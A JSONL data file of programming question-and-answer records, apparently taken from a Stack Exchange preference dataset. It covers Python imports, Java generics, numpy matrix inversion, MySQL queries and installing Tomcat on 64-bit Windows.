mod = getattr(mod, comp)\n    return mod\n```\n```\nTo paraphrase:\nWhen you ask for\n```\nsomepackage.somemodule\n```\n,\n```\n__import__\n```\nreturns\n```\nsomepackage.__init__.py\n```\n, which is often empty.\nIt will return\n```\nsomemodule\n```\nif you provide\n```\nfromlist\n```\n(a list of the variable names inside\n```\nsomemodule\n```\nyou want, which are not actually returned)\nYou can also, as I did, use the function they suggest.\nNote: I asked this question fully intending to answer it myself. There was a big bug in my code, and having misdiagnosed it, it took me a long time to figure it out, so I figured I'd help the SO community out and post the gotcha I ran into here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.419785"}
{"id": "hf_38759b3e04f8", "question": "<p>I'm using the following view function to iterate over all items in the database (in order to find a tag), but I think the performance is very poor if the dataset is large.\nAny other approach?</p>\n\n<pre><code>def by_tag(tag):\nreturn  '''\n        function(doc) {\n            if (doc.tags.length &gt; 0) {\n                for (var tag in doc.tags) {\n                    if (doc.tags[tag] == \"%s\") {\n                        emit(doc.published, doc)\n                    }\n                }\n            }\n        };\n        ''' % tag\n</code></pre>\n", "question_body": "", "answer": "You are very much on the right track with the view. A list of thoughts though:\nView generation is incremental. If you're read traffic is greater than you're write traffic, then your views won't cause an issue at all. People that are concerned about this generally shouldn't be. Frame of reference, you should be worried if you're dumping hundreds of records into the view without an update.\nEmitting an entire document will slow things down. You should only emit what is necessary for use of the view.\nNot sure what the val == \"%s\" performance would be, but you shouldn't over think things. If there's a tag array you should emit the tags. Granted if you expect a tags array that will contain non-strings, then ignore this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.444160"}
{"id": "hf_146903e77c9f", "question": "<p>I thought I understood Java generics pretty well, but then I came across the following in java.lang.Enum:</p>\n\n<pre><code>class Enum&lt;E extends Enum&lt;E&gt;&gt;\n</code></pre>\n\n<p>Could someone explain how to interpret this type parameter? Bonus points for providing other examples of where a similar type parameter could be used.</p>\n", "question_body": "", "answer": "It means that the type argument for enum has to derive from an enum which itself has the same type argument. How can this happen? By making the type argument the new type itself. So if I've got an enum called StatusCode, it would be equivalent to:\n```\n```\npublic class StatusCode extends Enum<StatusCode>\n```\n```\nNow if you check the constraints, we've got\n```\nEnum<StatusCode>\n```\n- so\n```\nE=StatusCode\n```\n. Let's check: does\n```\nE\n```\nextend\n```\nEnum<StatusCode>\n```\n? Yes! We're okay.\nYou may well be asking yourself what the point of this is :) Well, it means that the API for Enum can refer to itself - for instance, being able to say that\n```\nEnum<E>\n```\nimplements\n```\nComparable<E>\n```\n. The base class is able to do the comparisons (in the case of enums) but it can make sure that it only compares the right kind of enums with each other. (EDIT: Well, nearly - see the edit at the bottom.)\nI've used something similar in my C# port of ProtocolBuffers. There are \"messages\" (immutable) and \"builders\" (mutable, used to build a message) - and they come as pairs of types. The interfaces involved are:\n```\n```\npublic interface IBuilder<TMessage, TBuilder>\n  where TMessage : IMessage<TMessage, TBuilder> \n  where TBuilder : IBuilder<TMessage, TBuilder>\n\npublic interface IMessage<TMessage, TBuilder>\n  where TMessage : IMessage<TMessage, TBuilder> \n  where TBuilder : IBuilder<TMessage, TBuilder>\n```\n```\nThis means that from a message you can get an appropriate builder (e.g. to take a copy of a message and change some bits) and from a builder you can get an appropriate message when you've finished building it. It's a good job users of the API don't need to actually care about this though - it's horrendously complicated, and took several iterations to get to where it is.\nEDIT: Note that this doesn't stop you from creating odd types which use a type argument which itself is okay, but which isn't the same type. The purpose is to give benefits in the\nright\ncase rather than protect you from the\nwrong\ncase.\nSo if\n```\nEnum\n```\nweren't handled \"specially\" in Java anyway, you could (as noted in comments) create the following types:\n```\n```\npublic class First extends Enum<First> {}\npublic class Second extends Enum<First> {}\n```\n```\n```\nSecond\n```\nwould implement\n```\nComparable<First>\n```\nrather than\n```\nComparable<Second>\n```\n... but\n```\nFirst\n```\nitself would be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.523783"}
{"id": "hf_7375abf5153f", "question": "<p>The published code for Palm OS applications doesn't include standard headers, but instead uses Palm OS APIs for things like StrCopy and MemMove.  Can I use standard headers and functions or do I need to convert my code to use the Palm OS versions?</p>\n", "question_body": "", "answer": "It depends on the compiler and what version of the tools you're using.  In general, if you can use Palm OS APIs, you'll probably work better on the platform, but both CodeWarrior and prc-tools had some library functions implemented.\nIn CW for Palm OS V9, there's a pretty full version of the Metrowerks Standard Library (MSL).  Most of MSL C++ is there giving you access to STL and other constructs.  On the C front, you've got most of the standard C headers for memory management and string functions.  However, it omits implementations for locales, math, signals, and standard I/O.\nTo use the library, you need to make sure you link with the MSL C/C++ libraries.  This can be set when you create your project in the wizard or added later by modifying the access paths and adding the appropriate static libraries for your targets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.560611"}
{"id": "hf_02aa62dbd926", "question": "<p>How do I get the inverse of a matrix in python? I've implemented it myself, but it's pure python, and I suspect there are faster modules out there to do it.</p>\n", "question_body": "", "answer": "You should have a look at\nnumpy\nif you do matrix manipulation. This is a module mainly written in C, which will be much faster than programming in pure python. Here is an example of how to invert a matrix, and do other matrix manipulation.\n```\n```\nfrom numpy import matrix\nfrom numpy import linalg\nA = matrix( [[1,2,3],[11,12,13],[21,22,23]]) # Creates a matrix.\nx = matrix( [[1],[2],[3]] )                  # Creates a matrix (like a column vector).\ny = matrix( [[1,2,3]] )                      # Creates a matrix (like a row vector).\nprint A.T                                    # Transpose of A.\nprint A*x                                    # Matrix multiplication of A and x.\nprint A.I                                    # Inverse of A.\nprint linalg.solve(A, x)     # Solve the linear equation system.\n```\n```\nYou can also have a look at the\narray\nmodule, which is a much more efficient implementation of lists when you have to deal with only one data type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.584554"}
{"id": "hf_4a93274c8821", "question": "<p>I am seeing following exception when I try to use dynamic proxy </p>\n\n<pre><code> com.intellij.rt.execution.application.AppMain DynamicProxy.DynamicProxy\nException in thread \"main\" java.lang.IllegalArgumentException: interface Interfaces.IPerson is not visible from class loader\n    at java.lang.reflect.Proxy.getProxyClass(Proxy.java:353)\n    at java.lang.reflect.Proxy.newProxyInstance(Proxy.java:581)\n    at DynamicProxy.Creator.getProxy(Creator.java:18)\n    at DynamicProxy.DynamicProxy.main(DynamicProxy.java:54)\n    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n</code></pre>\n\n<p>Any idea what I need to do to resolve it</p>\n", "question_body": "", "answer": "When your\n```\nDynamicProxy\n```\ntries to do\n```\nClass.forName(youInterfaceClass.getName())\n```\nthe resulting\n```\njava.lang.Class\n```\ninstance is different from the one you passed when you created the proxy. In other words you have two class objects with the same name and the proxy is not sure which one is the right one (doesn't matter whether they are the same).\nUsually, this happens when the interface you are trying to proxy is in a library loaded through two different classloaders (i.e. Tomcat's 'common' and 'application').\nIf this doesn't help, please post more info on your application - especially if you are using any application server, Spring or OSGi.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.619863"}
{"id": "hf_63221e3ae399", "question": "<p>Working with Mircosoft Office Sharepoint Server 2007 (standard edition) what is the best way to place a site collection being developed under version control?  We're using Subversion for all our other (non-sharepoint) projects but I'm just not sure how to approach MOSS.</p>\n\n<p>What needs to be placed under version control to ensure we have everything we need to rebuild the Sharepoint Environment?</p>\n", "question_body": "", "answer": "The question is sort of vague has you do not mention how you develop it. If you're just doing out of the box modifications on a site collection via the interface you have available in sharepoint it sounds like you need to do some kind of \"backup\". I don't think you can export a site collection as a template :P\nIf you're doing actual development, coding features that do site provisioning, web parts for that, custom page layouts and whatnot, I would suggestion copying the structure you have in the /12/ hive on your sharepoint in your visual studio. Place all the artifacts you have in the right folders in your solution and that makes it very easy to deploy, either just by copying and calling some stsadm commands or by making a new manifest.xml file and a .ddf file which you can then add to your solution repository on your sharepoint installation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.680023"}
{"id": "hf_7065ce99b713", "question": "<p>What are the lesser-known but useful features of the Haskell programming language. (I understand the language itself is lesser-known, but work with me. Even explanations of the simple things in Haskell, like defining the Fibonacci sequence with one line of code, will get upvoted by me.) </p>\n\n<ul>\n<li>Try to limit answers to the Haskell core</li>\n<li>One feature per answer</li>\n<li>Give an example and short description of the feature, not just a link to documentation</li>\n<li>Label the feature using bold title as the first line</li>\n</ul>\n", "question_body": "", "answer": "Optional Layout\nYou can use explicit braces and semicolons instead of whitespace (aka layout) to delimit blocks.\n```\n```\nlet {\n      x = 40;\n      y = 2\n     } in\n x + y\n```\n```\n... or equivalently...\n```\n```\nlet { x = 40; y = 2 } in x + y\n```\n```\n... instead of ...\n```\n```\nlet x = 40\n    y = 2\n in x + y\n```\n```\nBecause layout is not required, Haskell programs can be straightforwardly produced by other programs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.704711"}
{"id": "hf_c7b1fadddc0c", "question": "<p>Since we cannot setup Eclipse's RSE to use at the tool for remote editing, I have installed <a href=\"http://www.cis.upenn.edu/~bcpierce/unison/docs.html\" rel=\"nofollow noreferrer\">Unison</a>. But how can I get Eclipse to automatically run unison on every file save? Is there an eclipse plugin available for this?</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "Depending on the importance, I would write a simple plugin to handle this.\nEDIT:\nAll you\nreally\nneed to do is this:\n1) Create the plugin from the templates with the RCP\\PDE Eclipse install\n2) Add the following code to your activator...\n```\n```\n@Override\npublic void start( final BundleContext context ) throws Exception {\n    super.start( context );\n    plugin = this;\n\n    ICommandService commandService = (ICommandService)plugin.getWorkbench().getService( ICommandService.class );\n    commandService.addExecutionListener( new IExecutionListener() {\n\n        public void notHandled( final String commandId, final NotHandledException exception ) {}\n\n        public void postExecuteFailure( final String commandId, final ExecutionException exception ) {}\n\n        public void postExecuteSuccess( final String commandId, final Object returnValue ) {\n            if ( commandId.equals( \"org.eclipse.ui.file.save\" ) ) {\n                // add in your action here...\n                // personally, I would use a custom preference page, \n                // but hard coding would work ok too\n            }\n        }\n\n        public void preExecute( final String commandId, final ExecutionEvent event ) {}\n\n    } );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.741321"}
{"id": "hf_ac3fb20ec8d0", "question": "<p>C++ guarantees that variables in a compilation unit (.cpp file) are initialised in order of declaration. For number of compilation units this rule works for each one separately (I mean static variables outside of classes).</p>\n\n<p>But, the order of initialization of variables, is undefined across different compilation units.</p>\n\n<p>Where can I see some explanations about this order for gcc and MSVC (I know that relying on that is a very bad idea - it is just to understand the problems that we may have with legacy code when moving to new GCC major and different OS)?</p>\n", "question_body": "", "answer": "As you say the order is undefined across different compilation units.\nWithin the same compilation unit the order is well defined: The same order as definition.\nThis is because this is not resolved at the language level but at the linker level. So you really need to check out the linker documentation. Though I really doubt this will help in any useful way.\nFor gcc: Check out\nld\nI have found that even changing the order of objects files being linked can change the initialization order. So it is not just your linker that you need to worry about, but how the linker is invoked by your build system. Even try to solve the problem is practically a non starter.\nThis is generally only a problem when initializing globals that reference each other during their own initialization (so only affects objects with constructors).\nThere are techniques to get around the problem.\nLazy initialization.\nSchwarz Counter\nPut all complex global variables inside the same compilation unit.\nNote 1: globals:\nUsed loosely to refer to static storage duration variables that are potentially initialized before\n```\nmain()\n```\n.\nNote 2: Potentially\nIn the general case we expect static storage duration variables to be initialized before main, but the compiler is allowed to defer initialization in some situations (the rules are complex see standard for details).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.765055"}
{"id": "hf_72f38ae98357", "question": "<p>I have code looking something like this:</p>\n\n<pre><code>$data = file_get_contents($tempFile); // perhaps 30MB of file data, now in PHP's memory\n$hash = md5($data);\n$query = \"INSERT INTO some_table\n          SET BlobData = '\" . mysql_real_escape_string($data) . \"',\n          BlobHash = '$hash'\n          \";\nmysql_query($query);\n</code></pre>\n\n<p>I know this isn't very efficient as each of the '.' operators will reallocate a bigger memory block and the 30MB string will be copied several times.</p>\n\n<p>Is there anything more efficient than the following solution?</p>\n\n<pre><code>$data = file_get_contents($tempFile); // perhaps 30MB of file data, now in PHP's memory\n$hash = md5($data);\n$query = \"INSERT INTO some_table SET BlobData = '%s', BlobHash = '$hash'\";\nmysql_query(sprintf($query, mysql_real_escape_string($data)));\n</code></pre>\n", "question_body": "", "answer": "Have you benchmarked the output buffering trick?\n```\n```\nob_start();\necho 'INSERT INTO some_table SET BlobData = \\'', mysql_real_escape_string( $data ), '\\', BlobHash = \\'', $hash, '\\'';\nmysql_query( ob_get_clean() );\n```\n```\nAnother thing you could do is convert to mysqli or MDB2, which support bound parameters.  That would allow you to skip the mysql_real_escape_string call\nand\nthe string concatenations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.817802"}
{"id": "hf_3d383438a2e1", "question": "<p>I have built a MS Access 2007 application that can create reports files in various formats (PDF, XLS, CSV, XML).<br>\nI would like to allow the creation of these reports to be accessible from a web page where users would just click on a link and get a download of the report produced by my Access application.</p>\n\n<p>I would like to keep it simple and I'm not interested at this stage in rewriting the data processing in .Net. I'd just like to find a way to automate the creation of the user report to return a file that can be downloaded.<br>\nIn essence, my Access application would act as a web service of some kind.</p>\n\n<p>The web server is IIS on Windows 2003.</p>\n\n<p>Any pointers or ideas would be welcome. I'm not well versed in IIS administration or ASP pages.</p>\n", "question_body": "", "answer": "This is kind of a round about way to achieve what you're asking.  You can utilize the free version of sql server express 2005 or 2008 advance edition which includes the reporting services component.  Using the report generation tools you can convert your access 2007 reports to sql server reports and have those reports feed off of the access database.  You can also go to the extent of migrating the database to sql server as well if you wanted to go that route.  Reporting services will generate pdf, xls, csv and xml formats as output for your reports and you can generate those reports just by passing the parameters in the url to the server which will return your report in the format requested.\nLink to sql server 2008 express advanced edition:\nhttp://www.microsoft.com/express/sql/download/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.841623"}
{"id": "hf_6e18eca35a85", "question": "<p>I am trying to construct a way to keep certain hard drive partitions/usb drives from being accessed for security reasons (protecting intellectual property). I was thinking that when windows attempts to access the \"locked down drive/usb\" the attempted is halted and returns something like \"drive inaccessible\" or something. It's just an idea, anyone thing it is plausible/possible? If so, any pointers?</p>\n\n<p>C/C++</p>\n\n<p>-Thanks</p>\n", "question_body": "", "answer": "For USB drives you could encrypt them.\nAt work we use\nPointsec provider\n, which allows you to access the drive on any machine only if you have a password.\nI'm sure there are freeware encryption products available\nYou could probably encrypt the partitions too.\n(basically I'm not sure why you would want to write some c/c++ code for something that could be adequately managed by other methods)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.877583"}
{"id": "hf_2cd32cafe816", "question": "<p>It seems almost magical. What is the traceroute command doing in order to map out the entire path to some other node on the Internet?</p>\n", "question_body": "", "answer": "traceroute sets the TTL (Time To LIve) field to 1 and increments it for every hop. the routers receiving the message decrement this value and when it reaches 0 they reply a message that the TTL has reached zero. With this reply the client knowns who's in between. do this iteratively until your destination and you got the (at least one of them) route", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.901648"}
{"id": "hf_de938f15e5d7", "question": "<p>Is there a Maven archetype that will generate the same scaffolding as <code>maven-archetype-quickstart</code>, but will in addition create the basic project site layout generated by <code>maven-archetype-site</code>? Or do I always have to run each in sequence?</p>\n", "question_body": "", "answer": "I think\nAppFuse\nis very often the right tool to use when beginning a new Java project.\nSee the\nQuickStart for samples.\nI don't think the site will be generated from the initial AppFuse generation but a simple\n```\nmvn site\n```\nwill create the basic web site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.925614"}
{"id": "hf_eb8d1781b639", "question": "<p>We recently switched some of our sites from deflate to gzip and noticed a significant increase in cpu load on our servers.</p>\n", "question_body": "", "answer": "gzip is, basically, deflate with some additional headers. So there should not be a significant performance hit. Now, maybe your deflate tool is just more efficient than your gzip tool. Are you using the same tool for both compressions or two different ones?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.949618"}
{"id": "hf_0d0133c4b9b8", "question": "<p>I want to find out if length property for Java arrays is an int/long or something else.</p>\n", "question_body": "", "answer": "It is an int. See the\nJava Language Specification\n, section 10.7.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.996694"}
{"id": "hf_0dcb38992d55", "question": "<p>i wonder if it is possible to cascade converters when using wpf databinding.\ne.g. something like </p>\n\n<pre><code>&lt;SomeControl Visibility=\"{Binding Path=SomeProperty, Converter={StaticResource firstConverter}, Converter={StaticResource secondConverter}}\"/&gt;\n</code></pre>\n\n<p>is it possible at all or do i have to create a custom converter that combines the functionality of converter A and B?</p>\n", "question_body": "", "answer": "You may be looking for a solution similar to Josh Smith's \"\nPiping Value Converters\n\".\nIn his article, he presents the following:\n```\n```\n<local:ValueConverterGroup x:Key=\"statusDisplayNameGroup\">\n  <local:IntegerStringToProcessingStateConverter  />\n  <local:EnumToDisplayNameConverter />\n</local:ValueConverterGroup>\n```\n```\nAnd then uses the multi-value converters as follows:\n```\n```\n<TextBlock Text=\"{Binding XPath=@Status, \n             Converter={StaticResource statusDisplayNameGroup}}\" />\n```\n```\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.020875"}
{"id": "hf_d489f4a35dfb", "question": "<p>What is a fast way to select a random row from a large mysql table?</p>\n\n<p>I'm working in php, but I'm interested in any solution even if it's in another language.</p>\n", "question_body": "", "answer": "Maybe you could do something like:\n```\n```\nSELECT * FROM table \n  WHERE id=\n    (FLOOR(RAND() * \n           (SELECT COUNT(*) FROM table)\n          )\n    );\n```\n```\nThis is assuming your ID numbers are all sequential with no gaps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.044585"}
{"id": "hf_a5d7fdf90b5d", "question": "<p>I have a swf file that is not controlled by me. The swf expects a javascript call to set some variables after initialization. </p>\n\n<p>The swf is embedded using the swfobject and I'm trying to call the as function right after the embed. This appears to be too soon because I get an error. Everything else should be fine since calling the as function manually via firebug does not produce the error.</p>\n\n<p>So the question is how do I call the function when the embed is complete?</p>\n", "question_body": "", "answer": "Are you doing this while the page is still loading? Or from am onload handler?\nIf it's inline javascript I would suggest doing it in the onload handler from javascript which you can do like this -\n```\n```\nwindow.onload = function() {\n  // your code here \n}\n```\n```\nit will run your code once the page is fully loaded.\nThis doesn't guarentee that the flash is initialised though. You could do that by having the flash make a callback to javascript once it is ready, but you said that the swf is not in your control. All I can really think of us using the onload method to make sure the page is finished loading, and then insert a short delay before trying to use it. Look at the setTimeout javascript function for that. Not a great solution though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.068100"}
{"id": "hf_422007e4e728", "question": "<p>We have an Access DB which has a set of local tables and input forms etc. in which a user maintains their data.</p>\n\n<p>We also have a SQL DB with the same tables which is used to displays the data in a web search form.</p>\n\n<p>What is the best way to allow the user to udate his changes to the SQL db while keeping the working copy local so he can work offline and then push the files when he is happy with new version of the data?</p>\n\n<p>My first thought was add the SQL tables as linked tables I could then truncate (access does like that) or delete the content in each table and then do an insert for each table.</p>\n\n<p>Can I call a SP from access on the SQL to truncate the tables as I am have problem running deletes</p>\n\n<p>I really do want to get it down to the user running a macro/sql call that is repeatable etc.</p>\n\n<p>Thanks for your help</p>\n", "question_body": "", "answer": "Often your operating system will help you with these things, at least in (most distributions of) Linux. As soon as a piece of software is available as an installable package, and installed, your package management system will keep track of it and it will be possible to find out that a new version is available.\nFor instance, in\nGentoo Linux\n, you would do the following from the command line to get a list of possible package updates:\n```\n```\nemerge --sync && emerge -p world\n```\n```\nThe first command makes sure you have an up-to-date list of available packages, the latter compares all your installed packages (your \"world\") to the list, and reports back with one line per installable package. These lines contain the version you have, and the version available, so you can decide if it's worth upgrading.\nThere are probably several other ways of doing it, this is just what I use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.104647"}
{"id": "hf_ebc7b07d2d86", "question": "<p>I created an ASMX file with a code behind file. It's working fine, but it is outputting XML.</p>\n\n<p>However, I need it to output JSON. The ResponseFormat configuration doesn't seem to work. My code-behind is:</p>\n\n<pre><code>[System.Web.Script.Services.ScriptService]\npublic class _default : System.Web.Services.WebService {\n    [WebMethod]\n    [ScriptMethod(UseHttpGet = true,ResponseFormat = ResponseFormat.Json)]\n    public string[] UserDetails()\n    {\n        return new string[] { \"abc\", \"def\" };\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "From\nWebService returns XML even when ResponseFormat set to JSON\n:\nMake sure that the request is a POST request, not a GET.  Scott Guthrie has a\npost  explaining why\n.\nThough it's written specifically for jQuery, this may also be useful to you:\nUsing jQuery to Consume ASP.NET JSON Web Services", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.165183"}
{"id": "hf_86c48ffaba84", "question": "<p>I'm writing a MFC app that uses the MS Mappoint OCX. I need to display the locations of people and vehicles on the map and the best of doing this appears to be with Pushpin objects. I have no problem displaying a stock pushpin icon with some text but want to change the icon to a custom designed one. From the limited amount of Mappoint programming info out there it appears the way to do this is to create a symbol object from a symbols object then assign this to a pushpin like this ..</p>\n\n<pre><code>CSymbols symbols;\nCSymbol symbol;\n\nsymbol=symbols.Add(\"c:/temp/myicon.ico\");\npushpin.put_Symbol(symbol.get_ID());\n</code></pre>\n\n<p>But the program crashes with a unhandled exception on the symbols.add instruction.</p>\n\n<p>Can anyone tell me what I am doing wrong here ? or am I on totally the wrong track ?</p>\n\n<p>Thanks for your time</p>\n\n<p>Ian</p>\n", "question_body": "", "answer": "I found the solution to this one myself. The following code works ..\n```\n```\nCSymbols symbols;\nCSymbol symbol;\n\nsymbols=map.get_Symbols();\nsymbol=symbols.Add(\"c:/temp/myicon.ico\");\npushpin.put_Symbol(symbol.get_ID());\n```\n```\nWhere map is the Mappoint control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.212044"}
{"id": "hf_cb069e417e5c", "question": "<p>I've written an Access 2003 application to handle internal things at my company over the past couple years and we are talking about upgrading all of our computers to Office 2007 which means Access will be updated.  Is this going to cause a problem for me?</p>\n", "question_body": "", "answer": "Allen Browne, Microsoft access MVP, has written a comprehensive article on Microsoft Access 2007 and upgrading:\nConverting to Access 2007\nHere is an article by Microsoft:\nTransitioning Your Existing Access Applications to Access 2007\nIn case you are not aware, it is possible to\ntry 2007 for free\n. I would not recommend trying on a PC that you use regularly for other Access work, it is not impossible, but things get awkward.\nIf you wish to run your 2003 version on 2007, make sure that you create an mde, otherwise you will run into problems. Access 2007 treats several controls in a different way, for example, textboxes with date fields get calendars attached. You will also need to check your references. I also recommend that you\nself-certify\nyour projects. Other than that, I have seen posts on a number of problems, but these are usually specific to the poster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.259382"}
{"id": "hf_f6e22476ae67", "question": "<p>In my database, in one of the table I have a GUID column with allow nulls. I have a method  with a Guid? parameter that inserts a new data row in the table. However when I say myNewRow.myGuidColumn = myGuid I get the following error: \"Cannot implicitly convert type 'System.Guid?' to 'System.Guid'.\" </p>\n", "question_body": "", "answer": "The ADO.NET API has some problems when it comes to handling nullable value types (i.e. it simply doesn't work correctly). We've had no end of issues with it, and so have arrived at the conclusion that it's best to manually set the value to null, e.g.\n```\n```\nmyNewRow.myGuidColumn = myGuid == null ? (object)DBNull.Value : myGuid.Value\n```\n```\nIt's painful extra work that ADO.NET should handle, but it doesn't seem to do so reliably (even in 3.5 SP1). This at least works correctly.\nWe've also seen issues with passing nullable value types to SqlParameters where the generated SQL includes the keyword\n```\nDEFAULT\n```\ninstead of\n```\nNULL\n```\nfor the value so I'd recommend the same approach when building parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:11.344379"}
{"id": "hf_e8ca62ce6267", "question": "<p>Installed Tomcat 6 on WinXP 64. It installed just fine. But when I try to launch it ( from Windows Services) I get the following error : \n\"Can not start an the Apache Tomcat Service on Local computer.\"\n error 216:0xd8</p>\n", "question_body": "", "answer": "It's well known issue.\nTomcat wrapper for windows service is compiled for 32 bits JDK.\nSteps that should allow you to install Tomcat as windows service under JDK64bits.\nDownload Tomcat binary installation (zip file; exe file will not find 64 bits JDK/JRE).\nExtract files from the archive.\nRename tomcat5.exe (tomcat6.exe) to tomcat5.exe.32bits to (tomcat6.exe.32bits)\nExtract 64 bits Tomcat wrapper from tomcat5_5_64bits_wrapper.zip and rename it to tomcat5.exe (tomcat6.exe). See\ndetails are here\n. (Update: The Bugzilla post seems to be down, but I believe an updated exe file can be found in the\nTomcat SVN Repository\n).\nInstall it as Windows service executing \"service.bat install [Tomcat instance name]\", where [Tomcat instance name] is optional windows service name.\nUnder certain conditions tomcat is not correctly configure service registry values. It points out itself to 32 bits version of JRE/JDK instead of 64 bits. It can be done explicitly (path to wrong JDK/JRE) or implicitly (\"auto\" value that imply using of JAVA_HOME or JRE_HOME that point out to 32 bits version). Anyway, it's highly recommented check registry value that define which version of JDK/JRE will be used for tomcat windows service, see key HKEY_LOCAL_MACHINE\\SOFTWARE\\Apache Software Foundation\\Procrun 2.0[Tomcat instance name]\\Parameters\\Log\\jvm and point it out to correct 64 bits JDK/JRE (e.g. jvm=C:\\Program 